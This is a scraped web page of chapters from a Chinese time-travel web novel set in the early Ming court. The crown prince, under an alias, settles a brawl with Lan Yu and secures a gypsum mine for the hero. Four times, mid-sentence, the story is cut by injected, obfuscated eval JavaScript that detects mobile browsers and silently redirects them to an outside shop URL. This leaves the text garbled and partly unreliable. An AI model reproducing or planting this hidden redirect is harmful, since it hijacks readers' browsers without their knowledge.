而就在这个点上,唯一被蓝玉【击杀】的朱安宁也是幽幽的醒了过来。 “唉哟……唉哟喂……我不是被打死了吧……哎呦……”他叫的是九曲回肠,声情并茂。 几人的目光,就这般被朱安宁引了过去。 “不愧是先生,这叫疼,跟唱歌似的。”最后是,刘廌忍不住笑了出来。 第一百一十四章 素质是理智的产物 “我焯!”朱安宁猛地骂了一句,终于是醒了过来。 然后第一反应自然是疼。 不只是脸疼,身子骨也疼。 毕竟他挤到蓝玉面前的时候,已经挨了几拳。 只是退出战场的欲望太过强烈,在激素的作用下,他那时候暂时忽略了而已。 现在激素退了,疼那再正常不过。 “唉哟……哎呦喂……”他哀嚎着,叫得相当……骚。 于是,扶着他的刘廌,都忍不住笑了起来。 其他几个人,也是想笑,却又不怎么笑得出。 毕竟刘廌刘畾没有进场去自由搏击,那是能潇洒地笑。 他们几个可是打满了半场的…… 特别是朱标,那乌黑的眼睛,是怎么看怎么疼。 朱棣和朱橚也是在松了一口气后,就瘫到了地上。 “大哥,怎么个情况啊……我来之前听说的可是庄子里的人和外面的人打起来了……怎么……怎么是你和……” 朱棣虽然倒了,但是嘴巴还是能动的,他向现在还铁青着脸的朱标发问道。 而朱标…… 他也是还莫名其妙…… 毕竟朱标也是被卷进来。 在场唯一嗅到了线索的,是戚祥。 他恼火地对着远处大喊了一声。 “柳文,胡修道!你们两个娃都过来给我说清楚是个什么情况!!!” 这一声如同雷鸣,顺着风传了很远。 果不其然…… 柳文和胡修道,其实就躲在不远处的树下,在观望着。 待戚祥大喊的时候,他们立马就跑了出来。 三步并两步跑到了众人跟前。 戚祥看着眼前的太子皇子几人,那脸色也是由红转青。 真是造孽啊,这算什么破事嘛。 “赶紧给我说清楚!!!” “哎呀,戚叔别这么凶嘛!我和柳文可是给咱们庄子出头!” 胡修道也不知道众人什么身份,他紧张是因为,朱安宁居然也被揍了,看样子还被揍得不轻…… 但是少年嘛,嘴巴比吉尔还硬,他犟着在那想解释。 结果戚祥那是一巴掌就扇到了他后脑勺那里。 “出你个大头鬼啊出头,捡重点说,别在那贫嘴。” 戚祥瞪了他们几眼。 果然,胡修道立马就老实了下来,嘴硬,那确实是硬不过戚祥的巴掌…… “别动手别动手……就是那个胖子和瘦猴在路上说……说朱爷是脑残,我气不过,和他们打了起来,完了打不过,我就和柳文跑啊跑……结果遇见了这大哥……”他指了指朱标。 而朱标也点了点头。 示意他继续讲下去。 “那两傻子以为大哥也和我是一伙的,就打起来了……本来我是叫了柳文去找你们求救的嘛……我怎么知道对面这么多人,诶戚叔不对啊,对面这一群人,明显就是有备而来的啊!!!” 胡修道越说越觉得不对劲。 怎么打着打着,对面就一群人了啊! 他的话也是点醒了众人,大家都把视线转向了朱标。 朱安宁除外,他还在事件外,多少还有些晕的状态…… 朱标的脸现在是青得不能再青。 这事还不简单。 那就是蓝玉找茬呗。 恰好又被自己撞上了,还卷了进来…… 这踏马的。 于是连一向温文尔雅的他,都突然有了爆粗口的冲动。 他恼火了摸了摸自己的眼睛,也是马上就疼得吸了口凉气。 “别站在这说了,先回院子吧!那个……老四老五,你们帮忙架下安宁小弟……” “是,太……嗯……”戚祥等人那是差点就叫出了太子两字,而后反应过来的戚祥,那是马上刹了车。 这惹得胡修道和柳文两个孩子投来了疑惑的目光。 看着两孩子的目光。 戚祥也是不想再横生什么意外,直接就挥了挥手:“行了行了,不怪你们,胡修道,柳文,你们赶紧回家吧,别老是在这里晃来晃去了。” 他一把推了推那两人。 也不是不管他们愿不愿意,就是一副要轰走他们的表情。 这庄子的孩子基本就是天不怕地不怕的主,但是恰好就是怕戚祥。 于是百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378718|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般不愿,也是只能三步一回头地走到了小道里,消失在了众人的视线之中。 没了两孩子。 几人很快就移动回了朱安宁的小院里。 纷纷坐到了凳子上开始叹气。 没有参战的刘畾和刘廌,那是瞬间化身后勤大队长,连忙开始给众人倒水。 此时此刻,我们的朱庄主,终于是完全清醒了过来。 他顾不得疼痛,那是一下就跳了起来!!! 蹦得贼高那种。 只见他气血上涌。 满脸通红。 “我草他个dj的,哪来的刁民,光天化日,朗朗乾坤,怎么敢当街行凶啊!!!这还有王法么,这还有天理么?路口那群驿站的卫兵是吃屎大的?” 众人本来就是在休息而已。 哪能 想到刚才还在哎呦哎呦一副半死不活样子的朱安宁会突然蹦起来骂街。 而且开口什么dj是什么东西,他们虽然听不懂,具体用词,但是那个语调是个人都能听出,朱安宁有多愤怒。 “沙煲那么大的拳头啊!!这一拳好悬没有打死我!!!我都看到三途川孟婆桥了啊!!!”朱安宁没有停下,他还在输出。 毕竟素质是理智的产物。 蓝玉那一拳,已经打掉了朱安宁的理智,那,就不能怪他没有素质了。 朱标也是惊讶于,这前些日子还在和他谈国家大事的朱安宁,原来还有这一面,也是哭笑不得。 但是却就是有了这一面,朱标突然觉得,朱安宁更像个人了。 而不是,那种高高在上,好似有些太过洞察事物的那种奇怪感觉。 “安宁小弟……停一停停一停……”在场的人都不敢去掠这个朱安宁的锋芒,最后还是朱标开了口。 朱安宁那火气是还没撒完,但是转头看了一眼朱标,他也是直接就没有崩住,直接笑喷了出来。 “噗……那个伍大哥,你……你这眼睛……” “哎,那几个莽汉,下手太狠……呃……”朱标其实也不知道现在自己是个什么状况,他只知道自己眼睛被打淤了,而看到朱安宁笑成这样子,他也是转头向李景隆问道:“很难看?” 第一百一十五章 把矿给你嘛 难看? 李景隆只想笑。 但是他知道,他不能像朱安宁那样笑,起码不能笑得这么大声…… 这可是太子,不是柿子…… “伍哥……有……有点青……”李景隆勉力维持着自己的面部表情,挤出了几个字。 麻的,这群莽夫。 看见李景隆的反应,朱标哪还不能知道自己现在有多样衰。 只是他多少还有些包袱,没法做到朱安宁这种荡气回肠的骂街。 只得深呼吸几次,略微缓解掉这些情绪。 事情都已经发生了,现在刚好就是借这件事情,解决下想把石膏矿赏给朱安宁这个问题…… 以及,是时候敲打下这批勋贵们了……他们……真的太过了。 而且父皇说的南边的贪腐问题,似乎也和勋贵们有点说不清道不明的关系啊…… 说不得,这局势又要动荡起来了。 好不容易才把胡惟庸案的余波给抚平,怎么立马又有新情况了呢。 朱标有些疲惫地叹了口气。 但是立马又振作了精神。 他刚想开口。 院门那里却突然传来了敲门声。 “那么快就回来了?”朱标皱起了眉头。 他想的是蓝玉,他是交代过的,把人撤走后,蓝玉需要回来。 只见朱标和朱安宁同时给李景隆递了个目光。 李景隆也是心领神会,快速冲到了门口,开了门。 结果出现在众人眼前的,是意想不到的人。 “蓝大哥?” 是朱安宁惊呼了出来。 谁能想到会是他。 只见他急急忙忙地跑了进来。 扫了一圈,看到的都是起码见过的人后,蓝梁连忙开了口:“朱爷,你没事吧。” “方才有事,现在好些了……”朱安宁回答得也是实诚。 “朱爷,我得说快些,您且听好,您背后应该也是有些关系的,赶紧找上面的大人出下面,我义父他这次应该就是来找茬的,他可不是愿意吃亏的主,现在看起来是暂时退了,一会说不定又会带更多的人过来,您就别矗在这了,赶紧找人吧。” 蓝梁的话说得是相当急切。 毕竟以他方才的视角来看,就是,蓝狩和蓝奔,和当地小孩打成一片。 然后蓝玉又带了更多人过来,又是打成一片。 感情自己就是个向导啊…… 而且不合自己心意,就能跑到人家庄子里面闹事……饶是蓝梁已经见过了很多没下限的事情,他也接受不了这种做法…… 蓝梁其实早就萌生了想脱离蓝家的想法,今天发生的事情更加坚定了他的心,所以才会来朱安宁这里说这些话。 这一番话不仅把朱安宁说愣了。 连朱标等人都愣了。 朱安宁愣是因为,这蓝梁说刚才参与斗殴的人里面有他义父? 等下,这个问题有点大。 怎么,自己难不成和蓝玉这个杀星过招了? 不会这么巧吧…… 至于自己身后的大人物? 他说的是伍爷季爷韩爷这几个大爷么? 他们键政水平有,但是……他们也不是官啊! 朱安宁听了蓝梁的话后,是一脸蛋疼……比吃了屎还难受。 他没有惹任何人! 怎么会突然来了个蓝玉杀神,他没有活,可以去打仗,留在应天府干嘛! 而朱标等人愣神是因为,这蓝梁怎么知道自己身份。 朱标想了想,立马便也知道不对头,应该是蓝染隐隐感觉永乐庄背后有人,只是不知道是谁而已。 他瞄了一眼蓝梁,突然开口问道。 “你不是蓝玉义子么,怎么给我们通风报信了。” “啊,这位大哥,在蓝家,我已经被边缘化了,兴许是做事不太合永昌侯心意吧,假以时日,我应该是会另寻他路的了,而朱爷为人是让我相当敬佩的,永乐庄,能有朱爷这样的地主,真是大幸!”蓝梁拱了拱手,表情又变得着急了起来:“朱爷,还是快些寻人吧。”他又急切地催了两句。 他是知道蓝玉有多不讲道理的。 怕不是,再来一次,就算这是曹国公家有关系的地界,他蓝玉也能闹个天翻地覆…… 面对蓝梁的催促。 朱安宁别的不说,还是有些感激的。 身份立场来看,蓝梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378719|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不应该来这说这些话,但是,他还是来了。 这朋友值得交。 但……现在更重要的是找人! 朱安宁也意识到了事情的严重性。 这可是蓝玉啊……癫佬来的…… 等下,这里有个在东宫当差的人! 朱安宁环视一周,看着朱标,那是眼睛立马就亮了起来。 他几步就走到了朱标的身边,压低声音说道:“伍哥,你不是在东宫当差嘛,要是能给太子爷说上话,你帮我挡一挡蓝玉这个煞星啊……我这一等一的良民,又是献策,又是种新粮的,这些事情你是知道的,都帮你混进东宫了,我至少也是有点小功的吧。” 朱安宁的话说得极小声,其他人都没听见。 朱标那是不怕朱安宁开口,就怕他不开口。呼呼这家伙终于能求自己一次了。 “蓝……永昌侯其实……也没有这么不讲道理,我在东宫当差时,也与他见过几面,今儿是场面太乱,没来得及和他搭上话,你就放心吧,一会永昌侯还回来的话,交给我就行。” 嗯?这伍文这么有实力的么? 看他一副很自信的样子啊。 没想到居然还能和永昌侯蓝玉搭上线…… 我去,不得了啊。 看着朱安宁一脸惊讶的样子。 朱标,是笑了起来。 他趁热打铁,说出了让朱安宁觉得更加炸裂的事情。 “安宁小弟,刚好还有一件事和永昌侯有关。” “还有?” “前些日子,太子长子病了,恰好症状和你我相似,我就把那药献上去了。” “我去,你别乱来啊,药不对……”朱安宁听见这伍文乱用药了,那是心里一惊,然后抬头看见的是他波澜不惊的样子,便也知道没出事:“应该治好了吧……不过这和永昌侯有什么关系嘛……” “确实好了,太子爷很开心,我就顺势和他说了药是从你这拿的,以及肥料的事情,太子立马就听出了你这肥料有点东西,又念你献药有功,便说会和那永昌侯说道说道,让他把矿让出来给你,他自会补偿永昌侯的。” 朱标,拍了拍朱安宁的肩膀。 像是在说什么小事那般。 第一百一十六章 这一拳,好贵哦 朱安宁很想问伍文。 您在东宫,究竟是什么地位。 这口气,不是一般的大,那是相当的大,端得自己好像就是个太子爷似的。 但是现在他顶着个黑眼圈的样子,又着实让人想笑。 这就很割裂。 想了许久,朱安宁还是没有开口问职位这事。 主要是……他还是把自己放在了屁民这个角色上,不想牵扯太多,别人不主动说就算了。 不过能拿到石膏矿…… 这是什么天上掉的馅饼,不对,这是天上在撒钱吧。 朱安宁多少有点晕。 他已经想到了垄断全国的肥料,会是一个多爽的局面,什么地主,哪有寡头爽! 但是,仔细想想,效果他是绝对有信心的,只是这个推广……怕不是需要些时间呀。 还有个问题。 如果太子真的理解自己在做什么…… “那代价是什么……”朱安宁憋了许久,终于是问出了问题的关键,太子肯这么爽快地把这矿给自己,就真的是毫无所图? 这个说出来他都不信。 朱安宁对历史上朱标的评价还是很高的。 其实也不止是他评价,应该说是绝大部分人对朱标的评价都很高。 所以他咂巴出了些味道,这种决策,朱标应该不是随便下的吧。 看着朱安宁转换了几次的表情。 朱标笑了笑,露出了一副孺子可教的样子。 看来这安宁小弟还是懂的。 事关农事,就如同新粮一事,朱元璋可以派几个皇子,国戚过来朱安宁小院这里驻守那般,关于这新的肥料,朱标也是很上心的。 他也没有马上回话,而是站直了身子,不再保持和朱安宁说悄悄话的态势。 “一会说。” 他以正常的声调回了话。 “……神神秘秘。”朱标不愿意说,朱安宁也不好马上追问,他也只能寻了个位置坐了下去,这一下牵动了身上那些淤青,那是坐的龇牙咧嘴,哀嚎不断。 “朱爷,我这言尽于此了,希望各位不要透露我来过这里的消息,叨扰了……” 此时站在不远处的蓝梁,正准备离开小院子。 却没曾想到。 两个人同时叫住了他。 “蓝兄请留步。” “蓝大哥请留步。” 是朱标和朱安宁同时开了口。 却也是互相把对方都整得有些莫名其妙。 蓝梁更是一脸疑惑。 至于其他人,在朱安宁拉着朱标说悄悄话的时候,就已经醒目地退开了些。 此时的李景隆正在怒斥躲在后面没有参战的刘家两兄弟。 而那两兄弟那是一脸光棍的样子,在那细声嘟囔,自己全家都是文臣,又不是你们这种臭武将。 朱标和朱安宁则对视了一眼,最后是朱标示意朱安宁先讲。 朱安宁也没有扭捏。 他是确实觉得这蓝梁一直以来的感官都挺不错的……虽然名字放现代很生草……但是,这是古代,应该没有这种香香的好兄弟吧……而且,这蓝梁,可不矮…… “蓝大哥,你说你想脱离蓝家,那我这永乐庄正缺人手,你看,你要不要来我这?我这工钱好说,好说。” 朱安宁这话,说得不算小声。 直接就把远处几个皇亲国戚给干郁闷了,于是连架都不吵了,有点无语地看向了朱庄主同志。 什么,原来做工是有工钱的啊。 自己怎么不知道啊…… 蓝梁也是没想到朱安宁会说这样的话。 这个高大的汉子愣了愣神,然后才回的话。 “朱爷,咱这脱离蓝家……说不定是会得罪永昌侯的啊……” 蓝梁略微解释了一番。 朱安宁也是立马心领神会。 他还是想得简单了。 那是直接就想成了现代的辞职…… 换个老板干活而已。 没能一下想到永昌侯这茬,也是一下就噎在了那里。 多少有点尴尬。 朱标看着两人,却突然微微一笑。 “蓝兄,永昌侯那边你不必担心,由我去说就行,我在东宫有些许职位,这面子,还是有一点的。” 面子有一点。 你头发是黑色的不是红色的啊……你也有霸王色霸气是吧。 怎么口气那么大。 “您是燕爷和周爷的大哥吧,见过大人。”蓝梁郑重地开了口,不同于对朱安宁的态度,这种带官职的人,端正些总是没错的。 “对,叫我伍文就行,我也不是什么正式的官员。” “伍兄是在东宫任职……倘若真的能在不触怒永昌侯的情况下,让我脱离蓝家,我蓝梁,那就是欠您一个大人情了……真不知道该怎么还……” “言重了,你只需知道,蓝家那矿,很快就要归安宁小弟了,你之前好像也是做过石膏生意的对吧。” “那矿要易主了?!”蓝梁张大了嘴巴,久久没有缓过来。 他在蓝家的时候,本就想要做这矿的管事,然后以这矿为基本盘,好好经营。 结果才第一单大生意,就一下就被那蓝染给整黄了。 虽然石膏的用途不多,但是利润还是很可观的,不少蓝家的义子都在瞄着这矿。 现在朱标跟他说这矿要易主了。 不就显得他们这群义子很呆么…… 什么情况嘛。 “曾经短暂地管过些事,更多时候我只是永昌侯门下的佃农管事而已……”蓝梁也知道自己有点失态,连忙又补了句,算是回答了朱标的问题。 “管过就行。”朱标点了点头,转过身对朱安宁说道:“太子爷那边也说了,可以的话,尽量找个懂情况的人管矿的事情,安宁小弟你看这蓝兄,不就是现成的人么?” 嗯?这太子爷怎么这么料事如神的感觉。 真是奇了怪了,怪不得历史上对朱标的评价高。 朱安宁只觉得这安排得有点突然,却又很顺理成章,因为他也是这么想的。 “我本也是这般想法……伍哥你若是真的能搞定永昌侯……那可是再好不过了。” 只见朱安宁也点了点头,这事似乎就这么草率且儿戏地定了下来。 正当此时,院门又被敲响。 而专业门童,李景隆,则是非常识趣地跑了过去。 不出意外,是在路口把自己家的仆人义子们打发回去后,又马上折返回来的蓝玉。 只见他黑着脸,甚至没有和李景隆打招呼,就直接走了进来。 这一进来不要紧,朱安宁像是被踩到尾巴的猫那般跳了起来。 “我靠,就是这个凶人,那么大的拳头,一拳打过来,就是他,抓起来!!!快把他抓起来!!!” 也不怪他那么激动。 作为治安良好的社会中长大的正常人类,他又不是阿美那种国家长大人,群架经验基本止步于小学,初高大都是读书打游戏,哪经历过这种沙煲大拳头糊脸的事件。 这高大的粗眉毛汉子,他在心中就是凶人的代表,好悬没有打死自己的法外狂徒! 所以那是蓝玉一进门,他就高喊了起来。 “戚叔,戚叔!!!快把他捆喽!” 这阵仗,结结实实地把蓝玉和其余人都吓了一跳。 而戚叔虽然是听到了朱安宁的叫唤,但是他哪敢动嘛。 这是永昌侯,不是永昌猴……是自己这种人能说捆就捆的。 至于朱棣朱橚那几个年轻人,那是直接就憋不住笑了出来。 看朱哥失态,真的太好笑了…… 这事情他们能唠至少一个月…… 至于蓝玉,本来就黑的脸,现在那是更黑了……这踏马哪来的刁民,自己刚进门就说要捆了自己,踏马的反了是不是! 要不是朱标和那几个皇子在场,他真就一拳过去,送他去见他祖宗了。 “安宁小弟,这是永昌侯……不是什么凶人。”朱标看朱安宁这么激动,也是连忙安抚了两句。 蓝玉则是一副忍耐的表情,虽然他很莽,也很嚣张,甚至除了打仗外,其他事情的处理基本都是一塌糊涂。 但是……他还不至于蠢到说无视当朝副皇帝的命令,说不回来,他更不敢在朱标还在场的时候造次。 要知道,朱标这个太子和以前的太子可是完全不一样的…… 他是有实权的。 “永昌侯?什么猴子不猴子的,这哪有打人打脸的,我……”朱安宁还想多骂两句,却突然脑子像通电般,领会了永昌侯这三个字的含义:“啊?蓝玉?!” 脑子恢复正常的朱安宁立马是闭了嘴,连忙后退了一步,把朱标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378720|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拱到了前面。 这招学自戚叔,朱安宁现在用得毫无心理负担…… 被顶到前面的朱标,也是哭笑不得,他看着欲言又止的蓝玉,是连忙开了口:“见过永昌侯,我乃东宫太子殿下门下的伍文,之前和您见过数次了,您应该还记得吧。” 蓝玉本来是黑着脸,正想过去拜见朱标的。 结果自己还未行礼。 朱标巴拉巴拉这一堆话,着实是把我们的蓝玉同志给整得有点不会了。 什么意思? 伍文? 你不就是朱标么。 搞什么…… 但是就算他是榆木脑袋,看到朱标那警告的眼神,也是知道……这顺着说就对了,想不通就不想了…… 就是虽然朱标警示的眼神,真的很威严…… 但是他这乌黑的眼圈……又……着实是让蓝玉有点想笑又有点想哭。 麻痹的是哪个傻子锤的太子,下手是够狠啊……回去他必然要扒了这个傻缺的皮…… “伍大人啊,许久不见……今天这事你看闹得真是……都怪我那几个不成器的义子。” 这客气的态度,谦卑的说辞。 院中的朱棣戚祥等人,那是见怪不怪了。 这个大明,谁见着朱标不得毕恭毕敬嘛。 啊,除了老朱。 而朱安宁和蓝梁,那就是完全不一样的感受了。 特别书朱安宁,他有种眩晕的感觉。 因为在他的视角中,蓝玉就是他穿越回来后,第一个遇上的大人物了啊! 虽然他很不想遇上这种 煞星。 换点其他人可能会更好些…… 怎么这种大人物和这伍文说话都这么客气啊我草。 这伍文难道就真的靠自己那点水利,农田的资料和随口的几句乱七八糟的国策,就混到高位了??? 太吉尔魔幻了吧! 朱安宁不由得吞了口口水,是觉得自己以后对着这伍文可能要慎言慎行了。 而蓝梁虽然也是惊讶,但是总归他还是见过些大人物的,只是自己义父这种态度,还是非常出乎他的意料。 “永昌侯言重了,是庄子里的小孩打闹惯了,才有了这些事情,但是呢,我觉得,您这边确实也是有点过了吧。” 这句话的警告味道是满溢而出。 朱安宁那是瞪大了眼睛,他看了看朱标,又看了看蓝玉,就想看对面是的反应。 万一这莽人又动手了,自己好歹能跑快点…… 结果,令朱安宁失望了。 永昌侯不仅没有发飚,他还陪着笑脸连说了几个字:“是是是,确实有些过了,所以咱现在不是上门赔罪了么。” 蓝玉很想展露些正诚的笑脸,好把这件事情揭过去,但是他本身长得就凶,这笑容也是皮笑肉不笑的。 把朱安宁看得是心里直发毛。 “哎,永昌侯,是这样的,最近安宁小弟这边献了些东西给太子,太子呢,他很高兴,恰好就是想和您商量那个没什么大用的石膏矿,看向能不能重新拿回来,他想赏给这安宁小弟,当然了,这件事情,陛下也是知道的。至于您这边,本来会补偿些俸禄田之类的,但是今天这事闹得……哎……” 朱标长长地叹了口气,似乎是一副很为难的样子。 蓝玉那是听得一脸黑线。 这永乐庄的朱安宁献了什么他不管,但是这石膏矿没什么大用……真是说得出口啊…… 药用不是用啊,糊墙不是用啊,这都是能换钱的啊! 但是这太子的话里,明显就是有点想按自己头把这石膏矿无偿让出来的意思了啊…… 这踏马的,过来这边自己本来是要耀武扬威,打出一个朗朗乾坤通透念达的…… 怎么变成要赔礼道歉了啊,他奶奶的…… “对了,安宁小弟,你之前不是问我代价是什么么,是这样的,太子发话了,你未来用石膏矿赚的钱银啊,东宫,想拿一部分,另外呢,卖东西的话,东宫那边也是会帮忙的。” 朱标没有继续看蓝玉的表情变幻。 因为不需要。 蓝玉只能低头。 没有其他选项。 他是东宫太子。 他是朱标。 他是历史上,权柄最重的太子。 所以,他笑着看向了朱安宁,说道。 第一百一十七章 你的舆图,有我卫星地图好使? 东宫什么意思,朱安宁是完全听懂了。 也就是自己现在就是大明国,皇家石膏矿+肥料厂的国营经理了是吧…… 坏消息是,东宫想要分他的钱。 好消息是,似乎东宫可以动用国家机器帮他推广。 这综合一下,那是好消息居多。 朱安宁直接就咧嘴笑了起来。 不用嘎吉尔进宫,也不用在朝为官,也能混个国企编制,这还挺好的啊。 不错不错。 对比朱安宁,蓝玉的脸色就没那么好看了。 但是,反对是不可能反对的了,自己现在还理亏着。 主要理亏在被朱标抓了现行。 这个哑巴亏……吃定了。 蓝玉也只能咬碎了牙龈,往肚子里吞。 “对了永昌侯,咱这边还想跟你讨要个人。” 结果这边他还没消化完情绪,朱标这边又继续开了口。 讨人? 是讨那两个作死的蓝狩和蓝奔是吧。 好好好,人拿走,要杀要剐悉听尊便,这件事情能揭过去就好。 蓝玉在回到院子里的时候,早就做好了心理准备。 这两人运气不好,怨不得自己嗷。 “伍大人请讲。” “你的义子。” “嗯,我的义子。” “就是蓝梁,他是否可以来我这边帮点小忙,当然了,都来我这边帮忙了,还顶着你义子的名号也不太好,我就做个主,让他恢复本姓,怎么样?” “嗯,是他们……”蓝玉还下意识地想说是他们该死,结果没想到朱标说出来的人居然是蓝梁,这让他是略微愣了愣神,然后才继续开口道:“蓝……蓝梁?” 此时他才注意到,他这个本来他还挺看好,但是有点妇人之仁的好义子,怎么会在这个小院里…… 哦对了,自己也派了他过来永乐庄啊,怎么……他好像没有参与刚才的混战啊。 蓝玉看着在一边很是局促的蓝梁,那是满脸问号。 “嗯,蓝梁他和安宁小弟呢,有点交情,又曾在你那边管过石膏矿,正好就一并过来帮安宁小弟,以及,帮我的忙了吧。” 这个了吧。 可没有问号。 蓝玉不傻。 他听懂了。 最重要的是后面那句,帮我的忙。 那就是帮朱标,太子的忙。 这哪有自己拒绝的余地,他也不想纠结那么多,反正义子都是耗材,源源不断,太子要人,那就给他呗。 比起石膏矿,蓝梁在他心中,那重要性就低得多了。 “全凭伍大人……太子殿下安排。”蓝玉毕恭毕敬地行了个礼。 “那晚些就麻烦永昌侯差遣人把那地契送过来吧。” “……好……好的……” “好,那我送送永昌侯吧。”在蓝玉答应的那一瞬间,朱标做了个请的姿势。 到目前为止,都是这个眼圈乌黑的太子爷,在掌控全局。 他陪着蓝玉在向门外走去,没有管身后的人的表情,和态度。 直到踏出院门那一刻,他才继续开口道。 “舅父。” 这两个字,让蓝玉是停了停脚步。 叫爵位,叫名字,和叫舅父,可是全然不同的态度啊。 他有些吃惊的扭头看向了身边的青年。 “太子,是还有何吩咐?”本来还满腔怒火的蓝玉,此刻也是态度缓和了许多。 要说还是朱标比他老爹会来事。 老朱天天就只会拿个小本本在那记谁谁谁做了什么腌臜事,完了就是搞白色恐怖。 而朱标,刚才一通安排后,出门这一句舅父,那是把蓝玉安排得明明白白。 与公,你必须要吃点苦头,毕竟我朱太子挨揍了,与私,我还会叫你一声舅父。 朱标看着态度明显缓和的蓝玉,也是叹了口气。 虽然自己不明不白挨了这一记老拳是很疼,但是现在能开始慢慢解决这些事情,也不枉自己来这一趟。 “舅父,这第三次北伐就要开始了,父皇与我已经商量好了,以沐英为主将,您,也一同前去吧。” 朝堂上早就有了这第三次北伐的讨论。 更不必说前些日子刘伯温跑出来上书,洋洋洒洒说了一堆话。 而现在蓝玉听到此事已经定了下来,那是眼睛立马就亮了起来。 又可以建功立业了! 这永昌侯,说不定经过这一次,还能换点更好听的名字呢? 至于沐英当主将,蓝玉是毫无意见的,同为武将,他知道沐英的水平。 “蓝玉,定不负陛下和殿下的托付,那些元人,怕不是已经忘了我蓝爷爷长什么样了啊!” 他哈哈大笑了起来,方才被迫放弃石膏矿的不愉快仿佛一扫而空。 朱标,也是在旁边轻笑了起来。 “那舅父,请回府静待几日,这北伐的安排,很快就能下来了!” “好,我也需好好准备准备!那太子殿下,我先走一步了!” 蓝玉的身子都忍不住有些颤抖,那是激动的颤抖,打仗,只有打仗,他才会有满足感 ! 看着蓝玉离去。 朱标的笑容却也快速收敛。 其实制定北伐武将的时候,蓝玉确实是在行列内的。 但是…… 贪腐案又涉及到了他。 这让朱元璋很是纠结。 最后还是朱标拍的板。 必须要让蓝玉去,首先他的确合适,另外,把他调走,更好彻查这些腌臜事,不管蓝玉牵连多少,这北伐,胜了,他就当是功过相抵吧。 只是这个消息朱标本身是没有打算如此早就放出来了,毕竟举国之力,北征,不是小事,还有很多细节在商讨。 而今天凑巧又整了那么多破事。 不得已,他只能先安抚着蓝玉。 叹了口气的朱标,转身又回到了院内。 此时朱安宁是立马迎了上来,看他的眼神都怪怪的。 朱安宁已经确定了一件事情。 这伍文的官,可绝对不小。不然对着蓝玉这幅口吻,蓝玉不给他来个一拳都对不起历史上骄横跋扈的评价…… 所以,他至少也是朱标圈内的核心幕僚人物之类的吧……没想到那老伍脾气又臭,又犟,这个儿子比老四老五还出息得多啊…… “安宁小弟……你这是……” “伍大哥,你这是真的猛啊……” “啊?” “把这永昌侯安排得明明白白的……” “我也就是借了太子的威而已,狐假虎威。”朱标笑了笑,算是解释了一番。 而此时站在不远处的蓝梁,也是立马走上了起来,看得出他很激动。 “这……伍大人……我这就算是离开蓝家了?” 蓝梁还带着眩晕感,虽然他想过要脱离蓝家,毕竟他和蓝家的核心价值观,不是很搭。 但是他可没想过能这么简单就离开…… 结果这伍文,三两句话就帮他搞定了。 似乎还帮他拿到了那石膏矿的管事一职…… 这……要不是人多,他都想跪下给这大哥磕个头了。 “不然呢?”朱标笑了笑,拍了拍蓝梁的肩膀:“你就安安心心帮安宁小弟管好那矿吧,东宫和安宁小弟都不会亏待你的。” “好!我定不负朱爷和伍大人所托!!!”他拱手行了个大礼,那激动的音调,根本止不住。 “有蓝大哥……嗯,不对……”朱安宁刚想开口说些东西,但是却又顿了顿。 “啊,对了我本姓成,成梁,朱爷,伍大人,以后你们唤我小梁就行。”成梁又是拱了拱手继续说了下去:“既然我已经要离开蓝家了,也有些细软要收拾,我先回蓝家一趟。” “嗯,成哥慢走。” 朱安宁当然不会没有情商到真的叫人家小梁,而是换了个更好的称呼。 于是成梁很快也消失在了朱安宁和朱标的视线之中。 朱棣他们几个,早就是醒目地找了点事情,在那磨洋工,避免了打扰到他们谈事。 “太子是知道了我那肥料的事情吧。”周围已无人,朱安宁是拉着朱标做了下来,顺便倒了两杯茶水。 “当然,不然太子怎么会心心念念着这永昌侯的矿呢?” 朱标微笑着回了话。 “太子就这么笃定我的肥料有作用?” “我这院子实验田的情况告知他了。” “看来太子真的很信任你啊……没想到我朱安宁还能认识伍哥你这种大人物……” 朱安宁这感叹是真心实意的。 却让朱标也有些好笑。 毕竟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378721|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 